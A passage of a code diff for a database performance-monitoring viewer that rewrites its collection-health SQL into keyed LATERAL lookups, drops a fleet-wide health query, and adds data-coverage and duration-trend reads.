+                reader.FieldCount > 2 && !reader.IsDBNull(2) ? reader.GetString(2) : null));
         }
 
         return items;
@@ -346,6 +348,28 @@ public async Task<List<LockWaitTrendPoint>> GetLockWaitTrendAsync(
         return items;
     }
 
+    /// <summary>
+    /// Where this server's waiting_tasks coverage starts for the range, through the shared probe
+    /// (<see cref="DataWindowFloor"/>): the later of its first collection and the table's retention edge, or its
+    /// first row in the range if that is earlier. Current Waits compares it with the range's start and shows
+    /// "Showing since" when a custom range reaches back past what the store covers. A quiet stretch, when nothing
+    /// waited, does not raise it. Null when the range holds no row and no logged run, and when the range lies wholly
+    /// before the coverage (the run log outlives the table, so a logged run there makes the server count though its
+    /// rows are purged, and its coverage starts after the range ends).
+    /// </summary>
+    public Task<DateTime?> GetWaitingTasksDataStartAsync(int serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default) =>
+        DataWindowFloor.GetForServerAsync(_dataSource, DataWindowFloor.Source.ForCollectorTable("waiting_tasks"), serverId, startUtc, endUtc,
+            ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
+
+    /// <summary>
+    /// Where this server's wait_stats coverage starts for the window, through the shared probe (<see cref="DataWindowFloor"/>), for the
+    /// Lock Wait Trend's "Showing since" note (#4966): the chart draws a flat zero where the store holds no wait_stats rows. Null when the
+    /// window holds no row and no logged run, and when it lies wholly before the coverage.
+    /// </summary>
+    public Task<DateTime?> GetLockWaitTrendDataStartAsync(int serverId, DateTime startUtc, DateTime endUtc, CancellationToken cancellationToken = default) =>
+        DataWindowFloor.GetForServerAsync(_dataSource, DataWindowFloor.Source.ForCollectorTable("wait_stats"), serverId, startUtc, endUtc,
+            ViewerCommandDeadlines.CurrentInteractiveReadSeconds, cancellationToken);
+
     /// <summary>
     /// Waiting-task total duration by wait type for one server over the window (Current Waits).
     /// <para>#4349: bucketed the same way as <see cref="GetLockWaitTrendAsync"/> — see its remarks for
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.CollectionHealth.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.CollectionHealth.cs
index 01b69c639c..bd4687e587 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.CollectionHealth.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.CollectionHealth.cs
@@ -33,11 +33,12 @@ namespace PerformanceMonitor.Darling.Viewer;
 /// helpers, minus the DuckDB BigInteger case Postgres never produces.
 /// <para>
 /// The <b>Health Summary</b> aggregate keeps Lite's fixed 7-day horizon (its staleness banding needs a
-/// stable window regardless of the toolbar). The <b>Collection Log</b> read (feeding the log grid + the
-/// Duration Trends chart) diverges from Lite in ONE deliberate way: it bounds <c>collection_time</c> on
+/// stable window regardless of the toolbar). The <b>Collection Log</b> read (feeding the log grid) diverges
+/// from Lite in ONE deliberate way: it bounds <c>collection_time</c> on
 /// BOTH sides so the per-server toolbar's custom From/To is honored EXACTLY — Lite (and this file's first
 /// port) took a single now-relative <c>hoursBack</c> lower bound, which rounded a custom range to a
-/// hours-back-from-now span.
+/// hours-back-from-now span. The <b>Duration Trends</b> chart does not draw that page (#4966): it has its own
+/// bucketed read over the whole range (<see cref="GetCollectorDurationTrendAsync"/>).
 /// </para>
 /// </summary>
 public sealed partial class ViewerDataService
@@ -47,168 +48,218 @@ public sealed partial class ViewerDataService
     /// per collector over the trailing window, with the SKIPPED-counts-as-a-healthy-run rule baked into
     /// the last-success MAX and the PERMISSIONS bucket split out for the NO_PERMISSIONS banding. $1
     /// server_id, $2 window start (naive UTC).
+    ///
+    /// <para><b>Keyed lookups, not ranks (#4955).</b> The three newest-row columns — last_error, last_note and
+    /// latest_run_note — used to come from three <c>ROW_NUMBER()</c> ranks over every run of the window, which
+    /// sorted the whole seven days to read one row per collector. They are lookups now: the plain aggregate
+    /// finds the instant each one needs, and a LATERAL join reads the winning row of that collector at that
+    /// instant through <c>idx_collection_log_watermark (server_id, collector_name, collection_time DESC)</c>.
+    /// The columns, their order, their types and their values are the ranks' own, tie-breaks included
+    /// (<c>CollectionHealthKeyedLookupParityTests</c> holds each to the pre-change statement).</para>
     /// </summary>
     public const string CollectionHealthSql = $"""
+        WITH health AS
+        (
+            SELECT
+                collector_name,
+                COUNT(*) AS total_runs,
+                -- #2926: SUCCESS excludes an abandonment that predates #2803, so the Success column beside
+                -- Abandoned cannot count the same run twice. Post-#2803 rows need no exclusion - ABANDONED
+                -- is not SUCCESS - and an ordinary empty run stays counted, which is what the COALESCE in
+                -- the shared predicate is for: NULL under this NOT would have dropped it.
+                SUM(CASE WHEN status = 'SUCCESS'
+                          AND NOT {EnumeratedCollectorDriver.AbandonedByNotePredicateSql}
+                         THEN 1 ELSE 0 END) AS success_count,
+                SUM(CASE WHEN status = 'ERROR' THEN 1 ELSE 0 END) AS error_count,
+                AVG(duration_ms) AS avg_duration_ms,
+                -- SKIPPED counts as a healthy run (dedup / version-gated collectors no-op without being stale)
+                MAX(CASE WHEN status IN ('SUCCESS', 'SKIPPED') THEN collection_time END) AS last_success_time,
+                MAX(collection_time) AS last_run_time,
+                -- The newest failure OUTRIGHT, text or not — "when did this last fail" means the run, not
+                -- the message. It can only name a different row than last_error if a failure was written
+                -- with no text.
+                MAX(CASE WHEN status IN ('ERROR', 'PERMISSIONS', 'EXTENSION_MISSING') THEN collection_time END) AS last_error_time,
+                -- #4955: the instant the last_error lookup below starts from — the newest failure that
+                -- CARRIED text. It can be older than last_error_time when a later failure was written with
+                -- none, and it is the class (a failing status AND a message), not the status alone, so a
+                -- SUCCESS row's note at the same instant cannot be the row the lookup lands on.
+                MAX(CASE WHEN status IN ('ERROR', 'PERMISSIONS', 'EXTENSION_MISSING')
+                          AND error_message IS NOT NULL
+                         THEN collection_time END) AS last_failure_text_time,
+                SUM(CASE WHEN status = 'PERMISSIONS' THEN 1 ELSE 0 END) AS permission_denied_count,
+                -- YIELDED = the 1s LOCK_TIMEOUT guard fired (#1805): deliberate, benign for collection,
+                -- counted apart from errors because clustering here is a signal about the TARGET's lock
+                -- contention rather than a monitoring fault.
+                SUM(CASE WHEN status = 'YIELDED' THEN 1 ELSE 0 END) AS yield_count,
+                -- #4955: the instant the last_note lookup below starts from — the newest SUCCESS run that
+                -- CARRIED a note (see last_note).
+                MAX(CASE WHEN status = 'SUCCESS' AND error_message IS NOT NULL THEN collection_time END) AS last_note_time,
+                -- How many of the window's runs carried one. note_count = total_runs is the
+                -- persistently-empty signal: EVERY run this week came back with nothing.
+                COUNT(CASE WHEN status = 'SUCCESS' THEN error_message END) AS note_count,
+                -- #1852: the one thing that makes a persistently-empty enumeration interesting — does this
+                -- target actually HAVE user databases? Zero items on a server with none is legitimate and
+                -- stays quiet; zero items on a server that HAS them is a login that cannot enter any, or a
+                -- filter that swallowed everything. database_size_stats rather than database_config for
+                -- three reasons: it runs on the scheduled loop (60 min) where database_config is on-load
+                -- and can age past this window on a long-running service; it is indexed on
+                -- (server_id, collection_time) where database_config has no index at all; and it reads
+                -- sys.master_files, so it still sees databases the monitoring login cannot ENTER — exactly
+                -- the case being diagnosed. database_id > 4 excludes the system databases, tempdb
+                -- included: the size collector takes every ONLINE database, so a bare row check
+                -- would be true on every server alive. A NULL database_id is an Azure sibling row
+                -- (#2643/#3262): sys.resource_stats carries no id, and it bills only USER databases,
+                -- so those rows are inventory too — without the IS NULL arm a master-connected Azure
+                -- target with fifty user databases would read as having none.
+                --
+                -- The inventory window is the health read's OWN ($2) — no second parameter, and an
+                -- inventory that aged out says nothing rather than something stale. Uncorrelated, so both
+                -- engines evaluate it once per query (a Postgres InitPlan) instead of per row, and it
+                -- needs no GROUP BY entry and no join. Feeds display text only, through the shared
+                -- formatter; the banding never sees it.
+                CASE
+                    WHEN EXISTS
+                         (
+                             SELECT 1
+                             FROM v_database_size_stats
+                             WHERE server_id = $1
+                             AND   collection_time >= $2
+                             AND   (database_id > 4 OR database_id IS NULL)
+                         )
+                    THEN 1
+                    ELSE 0
+                END AS has_user_databases,
+                -- #2804: runs the #2673 wall-clock budget abandoned. Appended last — this result set is
+                -- read positionally by one shared mapper serving BOTH the per-server and fleet reads.
+                --
+                -- #2926: keyed on the ROW, not on the status alone. collection_log is append-only, so a
+                -- window can still hold cycles written before #2803 gave abandonment its own status:
+                -- status = 'SUCCESS' beside rows_collected = 0 and the budget note. Counted by status
+                -- alone this read 0 for them, and the collector banded HEALTHY while losing cycles - a
+                -- filter correct against current writes and silently wrong against older ones, failing in
+                -- the reassuring direction. The pattern is one LIKE because the budget is INTERPOLATED and
+                -- the shipped values differ (120 s for procedure_stats/query_stats/plan_correction, 600 s
+                -- for query_store), so equality against one rendered sentence matches one collector.
+                SUM(CASE WHEN {EnumeratedCollectorDriver.AbandonedRunPredicateSql}
+                         THEN 1 ELSE 0 END) AS abandoned_count,
+                -- #3240: runs skipped because a PostgreSQL extension the collector DECLARES is not installed
+                -- — the EXTENSION_MISSING status the fault mapper split out of PERMISSIONS, counted apart so
+                -- the banding stops calling an uninstalled optional extension NO_PERMISSIONS. APPENDED, never
+                -- inserted: this result set is read positionally by one shared mapper.
+                SUM(CASE WHEN status = 'EXTENSION_MISSING' THEN 1 ELSE 0 END) AS extension_missing_count,
+                -- #3819: the two instants that, with last_run_time above, say whether this collector
+                -- STOPPED producing rather than never having produced here. The same named skip carries
+                -- opposite meanings on those two rows, and the band read both as the benign resting state.
+                -- This grid bands through the SAME shared classifier as the service's reads, so it has to
+                -- feed it the same inputs — left unselected they default to null, this COMPILES, and the
+                -- grid would call a regressed collector HEALTHY while get_collection_health called it
+                -- WARNING. That is #3240's lesson and #2804's before it. The FINDING that names the rows and
+                -- the status is deliberately not carried here: this projection has no rows_stored to count
+                -- and the grid has no column to render prose in, so the band is the whole of what this
+                -- surface needs to agree about. APPENDED, read positionally by the one shared mapper.
+                MAX(CASE WHEN status IS NULL
+                          OR status NOT IN ({CollectorRuntimePrecondition.NamedSkipStatusSqlList})
+                         THEN collection_time END) AS last_non_skip_time,
+                MAX(CASE WHEN rows_collected > 0 THEN collection_time END) AS last_productive_time
+            FROM v_collection_log
+            WHERE server_id = $1
+            AND   collection_time >= $2
+            GROUP BY collector_name
+        )
         SELECT
-            collector_name,
-            COUNT(*) AS total_runs,
-            -- #2926: SUCCESS excludes an abandonment that predates #2803, so the Success column beside
-            -- Abandoned cannot count the same run twice. Post-#2803 rows need no exclusion - ABANDONED
-            -- is not SUCCESS - and an ordinary empty run stays counted, which is what the COALESCE in
-            -- the shared predicate is for: NULL under this NOT would have dropped it.
-            SUM(CASE WHEN status = 'SUCCESS'
-                      AND NOT {EnumeratedCollectorDriver.AbandonedByNotePredicateSql}
-                     THEN 1 ELSE 0 END) AS success_count,
-            SUM(CASE WHEN status = 'ERROR' THEN 1 ELSE 0 END) AS error_count,
-            AVG(duration_ms) AS avg_duration_ms,
-            -- SKIPPED counts as a healthy run (dedup / version-gated collectors no-op without being stale)
-            MAX(CASE WHEN status IN ('SUCCESS', 'SKIPPED') THEN collection_time END) AS last_success_time,
-            MAX(collection_time) AS last_run_time,
+            h.collector_name,
+            h.total_runs,
+            h.success_count,
+            h.error_count,
+            h.avg_duration_ms,
+            h.last_success_time,
+            h.last_run_time,
             -- #1855: the message from the NEWEST failing run, not MAX()'s lexicographically greatest
-            -- one. The status re-check is load-bearing rather than belt-and-braces: when no failing run
-            -- in the window carried text, error_rank = 1 falls through to the newest row of ANY class,
-            -- and without it a SUCCESS row's note could surface here as a fake last error.
+            -- one. The lookup is filtered to the failing class rather than to the instant alone, which is
+            -- load-bearing rather than belt-and-braces: a run of ANY other class at the same instant (a
+            -- SUCCESS row's note) must not surface here as a fake last error, and when no failing run in
+            -- the window carried text the lookup finds nothing and this is NULL. error_message DESC only
+            -- breaks an exact-timestamp tie, and breaks it identically here and in Lite's DuckDB twin,
+            -- which binary-vs-locale collation would not.
             -- #3240: EXTENSION_MISSING is in the exemplar set because its stored sentence IS the remedy
             -- (it names the extension and the database) — without it an EXTENSION_MISSING band would sit
             -- beside a blank Last Error and the operator would have to open the run log to learn why.
-            MAX(CASE WHEN error_rank = 1 AND status IN ('ERROR', 'PERMISSIONS', 'EXTENSION_MISSING') THEN error_message END) AS last_error,
-            -- The newest failure OUTRIGHT, text or not — "when did this last fail" means the run, not
-            -- the message. It can only name a different row than last_error if a failure was written
-            -- with no text.
-            MAX(CASE WHEN status IN ('ERROR', 'PERMISSIONS', 'EXTENSION_MISSING') THEN collection_time END) AS last_error_time,
-            SUM(CASE WHEN status = 'PERMISSIONS' THEN 1 ELSE 0 END) AS permission_denied_count,
-            -- YIELDED = the 1s LOCK_TIMEOUT guard fired (#1805): deliberate, benign for collection,
-            -- counted apart from errors because clustering here is a signal about the TARGET's lock
-            -- contention rather than a monitoring fault.
-            SUM(CASE WHEN status = 'YIELDED' THEN 1 ELSE 0 END) AS yield_count,
+            failed.error_message AS last_error,
+            h.last_error_time,
+            h.permission_denied_count,
+            h.yield_count,
             -- #1837: the note a SUCCEEDING run can leave behind (an enumeration that yielded 0 items,
             -- items whose enumeration probe failed). Gated on SUCCESS specifically, rather than on
             -- every non-failure status: the runners attach a note only to the SUCCESS write, and the looser
             -- complement would drag SESSION_MISSING and CANCELLED messages into a column whose whole
             -- claim is that it is NOT an error. Display text only: no band, no count, no threshold
-            -- reads it, and a legitimately empty target stays HEALTHY exactly as before.
-            MAX(CASE WHEN note_rank = 1 AND status = 'SUCCESS' THEN error_message END) AS last_note,
-            -- How many of the window's runs carried one. note_count = total_runs is the
-            -- persistently-empty signal: EVERY run this week came back with nothing.
-            COUNT(CASE WHEN status = 'SUCCESS' THEN error_message END) AS note_count,
-            -- #1852: the one thing that makes a persistently-empty enumeration interesting — does this
-            -- target actually HAVE user databases? Zero items on a server with none is legitimate and
-            -- stays quiet; zero items on a server that HAS them is a login that cannot enter any, or a
-            -- filter that swallowed everything. database_size_stats rather than database_config for
-            -- three reasons: it runs on the scheduled loop (60 min) where database_config is on-load
-            -- and can age past this window on a long-running service; it is indexed on
-            -- (server_id, collection_time) where database_config has no index at all; and it reads
-            -- sys.master_files, so it still sees databases the monitoring login cannot ENTER — exactly
-            -- the case being diagnosed. database_id > 4 excludes the system databases, tempdb
-            -- included: the size collector takes every ONLINE database, so a bare row check
-            -- would be true on every server alive. A NULL database_id is an Azure sibling row
-            -- (#2643/#3262): sys.resource_stats carries no id, and it bills only USER databases,
-            -- so those rows are inventory too — without the IS NULL arm a master-connected Azure
-            -- target with fifty user databases would read as having none.
-            --
-            -- The inventory window is the health read's OWN ($2) — no second parameter, and an
-            -- inventory that aged out says nothing rather than something stale. Uncorrelated, so both
-            -- engines evaluate it once per query (a Postgres InitPlan) instead of per row, and it
-            -- needs no GROUP BY entry and no join. Feeds display text only, through the shared
-            -- formatter; the banding never sees it.
-            CASE
-                WHEN EXISTS
-                     (
-                         SELECT 1
-                         FROM v_database_size_stats
-                         WHERE server_id = $1
-                         AND   collection_time >= $2
-                         AND   (database_id > 4 OR database_id IS NULL)
-                     )
-                THEN 1
-                ELSE 0
-            END AS has_user_databases,
-            -- #2804: runs the #2673 wall-clock budget abandoned. Appended last — this result set is
-            -- read positionally by one shared mapper serving BOTH the per-server and fleet reads.
-            --
-            -- #2926: keyed on the ROW, not on the status alone. collection_log is append-only, so a
-            -- window can still hold cycles written before #2803 gave abandonment its own status:
-            -- status = 'SUCCESS' beside rows_collected = 0 and the budget note. Counted by status
-            -- alone this read 0 for them, and the collector banded HEALTHY while losing cycles - a
-            -- filter correct against current writes and silently wrong against older ones, failing in
-            -- the reassuring direction. The pattern is one LIKE because the budget is INTERPOLATED and
-            -- the shipped values differ (120 s for procedure_stats/query_stats/plan_correction, 600 s
-            -- for query_store), so equality against one rendered sentence matches one collector.
-            SUM(CASE WHEN {EnumeratedCollectorDriver.AbandonedRunPredicateSql}
-                     THEN 1 ELSE 0 END) AS abandoned_count,
-            -- #3240: runs skipped because a PostgreSQL extension the collector DECLARES is not installed
-            -- — the EXTENSION_MISSING status the fault mapper split out of PERMISSIONS, counted apart so
-            -- the banding stops calling an uninstalled optional extension NO_PERMISSIONS. APPENDED, never
-            -- inserted: this result set is read positionally by one shared mapper.
-            SUM(CASE WHEN status = 'EXTENSION_MISSING' THEN 1 ELSE 0 END) AS extension_missing_count,
-            -- #3819: the two instants that, with last_run_time above, say whether this collector
-            -- STOPPED producing rather than never having produced here. The same named skip carries
-            -- opposite meanings on those two rows, and the band read both as the benign resting state.
-            -- This grid bands through the SAME shared classifier as the service's reads, so it has to
-            -- feed it the same inputs — left unselected they default to null, this COMPILES, and the
-            -- grid would call a regressed collector HEALTHY while get_collection_health called it
-            -- WARNING. That is #3240's lesson and #2804's before it. The FINDING that names the rows and
-            -- the status is deliberately not carried here: this projection has no rows_stored to count
-            -- and the grid has no column to render prose in, so the band is the whole of what this
-            -- surface needs to agree about. APPENDED, read positionally by the one shared mapper.
-            MAX(CASE WHEN status IS NULL
-                      OR status NOT IN ({CollectorRuntimePrecondition.NamedSkipStatusSqlList})
-                     THEN collection_time END) AS last_non_skip_time,
-            MAX(CASE WHEN rows_collected > 0 THEN collection_time END) AS last_productive_time,
+            -- reads it, and a legitimately empty target stays HEALTHY exactly as before. The NEWEST run
+            -- that carried one (#1855): a later clean run no longer blanks a note the window still holds.
+            -- MAX() was never wrong about WHICH rows to consider, only about which of them wins, and text
+            -- does not sort like the number #1837's probe note carries: 12 item(s) sorts below 9 item(s).
+            -- collection_time settles it; error_message DESC only breaks an exact-timestamp tie.
+            noted.error_message AS last_note,
+            h.note_count,
+            h.has_user_databases,
+            h.abandoned_count,
+            h.extension_missing_count,
+            h.last_non_skip_time,
+            h.last_productive_time,
             -- #4748: the note the collector's NEWEST run left, which is not last_note above (that is the
             -- newest run that CARRIED a note, so a clean run after a partial-failure cycle still shows the
             -- older cycle's note there). The band reads only this one, because the loss an older note names
             -- is not the collector's current state. APPENDED, read positionally by the one shared mapper.
-            MAX(CASE WHEN recency_rank = 1 AND status = 'SUCCESS' THEN error_message END) AS latest_run_note
-        FROM
+            CASE WHEN newest.status = 'SUCCESS' THEN newest.error_message END AS latest_run_note
+        FROM health h
+        -- #4955: the keyed lookups. Each reads ONE collector's rows through
+        -- idx_collection_log_watermark (server_id, collector_name, collection_time DESC), at an instant the
+        -- aggregate above already found, instead of ranking every run of the window to reach them. The
+        -- window bound ($2) is repeated on each so a chunk older than the window is excluded at plan time.
+        --
+        -- The newest run: the rows at the window's newest instant, the greater status first (the order
+        -- the rank this replaces broke an exact tie in, the way the Darling service read breaks it;
+        -- PostgreSQL's DESC puts a NULL status first).
+        LEFT JOIN LATERAL
         (
-            -- #1855: rank each class of message newest-first so the two exemplar columns above can take
-            -- the LATEST one instead of the lexicographically greatest. Ordering on whether the class's
-            -- CASE came back empty puts every row that carries such a message ahead of every row that
-            -- does not, so rank 1 is the newest one that has text — and a later clean run no longer
-            -- blanks a note the window still holds. MAX() was never wrong about WHICH rows to consider,
-            -- only about which of them wins, and text does not sort like the number #1837's probe note
-            -- carries: 12 item(s) sorts below 9 item(s). collection_time settles it; error_message DESC
-            -- only breaks an exact-timestamp tie, and breaks it identically here and in Lite's DuckDB
-            -- twin, which binary-vs-locale collation would not.
-            SELECT
-                collector_name,
-                collection_time,
-                duration_ms,
-                status,
-                error_message,
-                -- #2926: the abandonment predicate above reads it. Projected here for the same reason
-                -- #2472's three columns are: this subquery ENUMERATES its columns, so an aggregate
-                -- outside naming one it does not carry fails at the STORE and nowhere earlier.
-                rows_collected,
-                ROW_NUMBER() OVER
-                (
-                    PARTITION BY collector_name
-                    ORDER BY (CASE WHEN status = 'SUCCESS' THEN error_message END) IS NULL,
-                             collection_time DESC,
-                             error_message DESC
-                ) AS note_rank,
-                ROW_NUMBER() OVER
-                (
-                    PARTITION BY collector_name
-                    ORDER BY (CASE WHEN status IN ('ERROR', 'PERMISSIONS', 'EXTENSION_MISSING') THEN error_message END) IS NULL,
-                             collection_time DESC,
-                             error_message DESC
-                ) AS error_rank,
-                -- #4748: newest run first, so latest_run_note above takes the newest run's note. status DESC
-                -- only breaks an exact-timestamp tie, the way the Darling service read breaks it.
-                ROW_NUMBER() OVER
-                (
-                    PARTITION BY collector_name
-                    ORDER BY collection_time DESC,
-                             status DESC
-                ) AS recency_rank
-            FROM v_collection_log
-            WHERE server_id = $1
-            AND   collection_time >= $2
-        ) runs
-        GROUP BY collector_name
-        ORDER BY collector_name
+            SELECT n.status,
+                   n.error_message
+            FROM v_collection_log n
+            WHERE n.server_id = $1
+            AND   n.collector_name = h.collector_name
+            AND   n.collection_time >= $2
+            AND   n.collection_time = h.last_run_time
+            ORDER BY n.status DESC
+            LIMIT 1
+        ) newest ON TRUE
+        -- The newest failing run that carried text. No such run: no row, and last_error is NULL.
+        LEFT JOIN LATERAL
+        (
+            SELECT f.error_message
+            FROM v_collection_log f
+            WHERE f.server_id = $1
+            AND   f.collector_name = h.collector_name
+            AND   f.collection_time >= $2
+            AND   f.collection_time = h.last_failure_text_time
+            AND   f.status IN ('ERROR', 'PERMISSIONS', 'EXTENSION_MISSING')
+            AND   f.error_message IS NOT NULL
+            ORDER BY f.error_message DESC
+            LIMIT 1
+        ) failed ON TRUE
+        -- The newest SUCCESS run that carried a note.
+        LEFT JOIN LATERAL
+        (
+            SELECT t.error_message
+            FROM v_collection_log t
+            WHERE t.server_id = $1
+            AND   t.collector_name = h.collector_name
+            AND   t.collection_time >= $2
+            AND   t.collection_time = h.last_note_time
+            AND   t.status = 'SUCCESS'
+            AND   t.error_message IS NOT NULL
+            ORDER BY t.error_message DESC
+            LIMIT 1
+        ) noted ON TRUE
+        ORDER BY h.collector_name
         """;
 
     /// <summary>
@@ -307,102 +358,6 @@ public async Task<int> GetPermissionDeniedCollectorCountAsync(int serverId, Canc
             : 0;
     }
 
-    /// <summary>
-    /// The fleet-cumulative variant of <see cref="CollectionHealthSql"/>: the same 16-column per-collector
-    /// aggregate but across ALL enabled monitored servers (GROUP BY server_id, collector_name — one row per
-    /// server/collector pair), for the status bar's aggregate-view total (mirrors Lite's cumulative
-    /// GetHealthSummary(null)). Scoped to enabled servers so a removed server's aged-out rows don't read as
-    /// erroring. $1 window start (naive UTC).
-    /// <para>
-    /// The two exemplar MESSAGE columns are deliberately NULL here rather than ranked as the per-server
-    /// read ranks them (#1855). This query's only caller is <c>UpdateCollectorHealthTextAsync</c>, which
-    /// reads <see cref="CollectorHealthRow.HealthStatus"/> and the collector NAME — no surface renders a
-    /// fleet row's message, and the per-server read behind the Collection Health grid is where the note
-    /// and the last error are actually shown. Ranking them costs more than the whole rest of the query:
-    /// PostgreSQL cannot parallelize above a WindowAgg, so adding the ranks turned this from a parallel
-    /// hash aggregate into a serial sort of every row in the window — 0.84s to 13.9s over a 200-server /
-    /// 4M-row store, measured on PG 18.4, on a status-bar refresh that would display none of it. NULL,
-    /// not the old lexicographic MAX: a fleet rollup carries band INPUTS, exactly like the service-side
-    /// <c>DarlingFleetReader.FleetCollectionHealthSql</c>, which projects no message columns at all. The
-    /// columns stay in the projection because both reads share <see cref="MapHealthRow"/> and its
-    /// ordinals; a surface that ever needs fleet-wide exemplars needs a different read, not this one.
-    /// </para>
-    /// <para>
-    /// #1852's <c>has_user_databases</c> is NULL here for the same two reasons and one more. It qualifies
-    /// a DISPLAYED note, and this read displays none — with <c>last_note</c> already NULL the shared
-    /// formatter returns blank whatever the flag says, so a real value could not change one rendered
-    /// character. And the flag is per-SERVER while this read groups server_id INTO the result, so there is
-    /// no single $1 to probe the inventory for: a truthful fleet version would be a second cross-collector
-    /// join across every enabled server, on a query the status bar re-runs on every aggregate-tab refresh
-    /// — precisely the cost #1855 measured and declined. The column exists to hold the ordinal.
-    /// </para>
-    /// <para>
-    /// #4748: the one note this read DOES carry is the newest run's partial-database-failure note
-    /// (<c>latest_run_note</c>), because the band reads it and a fleet total that banded a collector
-    /// differently from its own tab is the #3240 disagreement. It rides plain aggregates rather than the
-    /// ranks above, for the cost those ranks were measured at; <c>last_note</c> itself stays NULL.
-    /// </para>
-    /// </summary>
-    public const string FleetCollectionHealthSql = $"""
-        SELECT
-            collector_name,
-            COUNT(*) AS total_runs,
-            -- #2926: SUCCESS excludes an abandonment that predates #2803, so the Success column beside
-            -- Abandoned cannot count the same run twice. Post-#2803 rows need no exclusion - ABANDONED
-            -- is not SUCCESS - and an ordinary empty run stays counted, which is what the COALESCE in
-            -- the shared predicate is for: NULL under this NOT would have dropped it.
-            SUM(CASE WHEN status = 'SUCCESS'
-                      AND NOT {EnumeratedCollectorDriver.AbandonedByNotePredicateSql}
-                     THEN 1 ELSE 0 END) AS success_count,
-            SUM(CASE WHEN status = 'ERROR' THEN 1 ELSE 0 END) AS error_count,
-            AVG(duration_ms) AS avg_duration_ms,
-            MAX(CASE WHEN status IN ('SUCCESS', 'SKIPPED') THEN collection_time END) AS last_success_time,
-            MAX(collection_time) AS last_run_time,
-            CAST(NULL AS text) AS last_error,
-            MAX(CASE WHEN status IN ('ERROR', 'PERMISSIONS', 'EXTENSION_MISSING') THEN collection_time END) AS last_error_time,
-            SUM(CASE WHEN status = 'PERMISSIONS' THEN 1 ELSE 0 END) AS permission_denied_count,
-            SUM(CASE WHEN status = 'YIELDED' THEN 1 ELSE 0 END) AS yield_count,
-            CAST(NULL AS text) AS last_note,
-            COUNT(CASE WHEN status = 'SUCCESS' THEN error_message END) AS note_count,
-            CAST(NULL AS integer) AS has_user_databases,
-            -- #2804: runs the #2673 wall-clock budget abandoned. Appended last — this result set is
-            -- read positionally by one shared mapper serving BOTH the per-server and fleet reads.
-            --
-            -- #2926: keyed on the ROW, not on the status alone. collection_log is append-only, so a
-            -- window can still hold cycles written before #2803 gave abandonment its own status:
-            -- status = 'SUCCESS' beside rows_collected = 0 and the budget note. Counted by status
-            -- alone this read 0 for them, and the collector banded HEALTHY while losing cycles - a
-            -- filter correct against current writes and silently wrong against older ones, failing in
-            -- the reassuring direction. The pattern is one LIKE because the budget is INTERPOLATED and
-            -- the shipped values differ (120 s for procedure_stats/query_stats/plan_correction, 600 s
-            -- for query_store), so equality against one rendered sentence matches one collector.
-            SUM(CASE WHEN {EnumeratedCollectorDriver.AbandonedRunPredicateSql}
-                     THEN 1 ELSE 0 END) AS abandoned_count,
-            -- #3240: the fleet rollup bands through the SAME shared classifier as the per-server grid,
-            -- so it must feed it the same inputs — an unselected count defaults to 0, COMPILES, and
-            -- quietly bands an extension-missing collector FAILING here while the per-server grid says
-            -- EXTENSION_MISSING (the #2804 lesson, same shape). APPENDED, read positionally.
-            SUM(CASE WHEN status = 'EXTENSION_MISSING' THEN 1 ELSE 0 END) AS extension_missing_count,
-            -- #3819: #3240's reasoning again — this rollup bands through the same shared classifier as
-            -- the per-server grid, so the regression floor has to see the same inputs on both or the
-            -- status bar's fleet total would disagree with the tab beside it.
-            --
-            -- Both are plain aggregates, so this cumulative read gains no subquery and no sort.
-            MAX(CASE WHEN status IS NULL
-                      OR status NOT IN ({CollectorRuntimePrecondition.NamedSkipStatusSqlList})
-                     THEN collection_time END) AS last_non_skip_time,
-            MAX(CASE WHEN rows_collected > 0 THEN collection_time END) AS last_productive_time,
-            -- #4748: the newest run's partial-database-failure note, as plain aggregates only (no window
-            -- function, no ordered aggregate, so the parallel hash aggregate survives). It is the fleet
-            -- reads' one shared expression (CollectionHealthRollupSupport.LatestRunNoteRawSql, #4812), so
-            -- this read, the per-server fleet read and the hourly rollup keep the same run's note.
-            {CollectionHealthRollupSupport.LatestRunNoteRawSql}
-        FROM v_collection_log
-        WHERE collection_time >= $1
-        AND   server_id IN (SELECT server_id FROM config_monitored_servers WHERE is_enabled)
-        GROUP BY server_id, collector_name
-        """;
-
     /// <summary>
     /// The Collection Log sub-tab's recent-log read, adapted from Lite's <c>GetRecentCollectionLogAsync</c>
     /// to honor the per-server toolbar's settable window EXACTLY: the collection_log rows for one server
@@ -432,10 +387,39 @@ ORDER BY collection_time DESC
         """;
 
     /// <summary>
-    /// Lite's per-collector drill read (<c>GetCollectionLogByCollectorAsync</c>) verbatim: every
-    /// collection_log row for one collector on one server since the window start, newest first. Feeds
-    /// the CollectionLogWindow the Health Summary grid opens on double-click. $1 server_id, $2
-    /// collector_name, $3 window start (naive UTC).
+    /// The Duration Trends chart's own read (#4966): the successful runs of one server over the WHOLE toolbar range, per
+    /// collector and bucket, as the bucket's longest and average duration and its run count. The chart used to draw the
+    /// Collection Log grid's page (<see cref="RecentCollectionLogSql"/>, the newest <see cref="CollectionLogRowCap"/> runs),
+    /// so a server logging about 20 runs a minute drew the newest ~25 minutes of "Last 24 hours" and left the rest of the
+    /// axis empty. This read has no row cap: a bucket is the unit, <see cref="CollectorDurationBucketMinutes"/> widens it
+    /// until the range fits the chart budget, and the bucket origin is the one every trend read shares
+    /// (<see cref="TrendBucketSql.OriginSql"/>), so a width bins the same runs the same way as the other trends. The first
+    /// bucket's start is clamped to the window's start, as the other trend reads clamp it. A run counts when the chart
+    /// counted it before: status SUCCESS with a duration. $1 server_id, $2 window start, $3 window end (naive UTC),
+    /// $4 bucket width in minutes.
+    /// </summary>
+    public const string CollectorDurationTrendSql = $$"""
+        SELECT
+            collector_name,
+            GREATEST(date_bin(CAST($4 AS integer) * INTERVAL '1 minute', collection_time, {{TrendBucketSql.OriginSql}}), $2) AS bucket_start,
+            MAX(duration_ms) AS max_duration_ms,
+            AVG(duration_ms) AS avg_duration_ms,
+            COUNT(*) AS run_count
+        FROM v_collection_log
+        WHERE server_id = $1
+        AND   collection_time >= $2
+        AND   collection_time <= $3
+        AND   status = 'SUCCESS'
+        AND   duration_ms IS NOT NULL
+        GROUP BY collector_name, 2
+        ORDER BY collector_name, 2
+        """;
+
+    /// <summary>
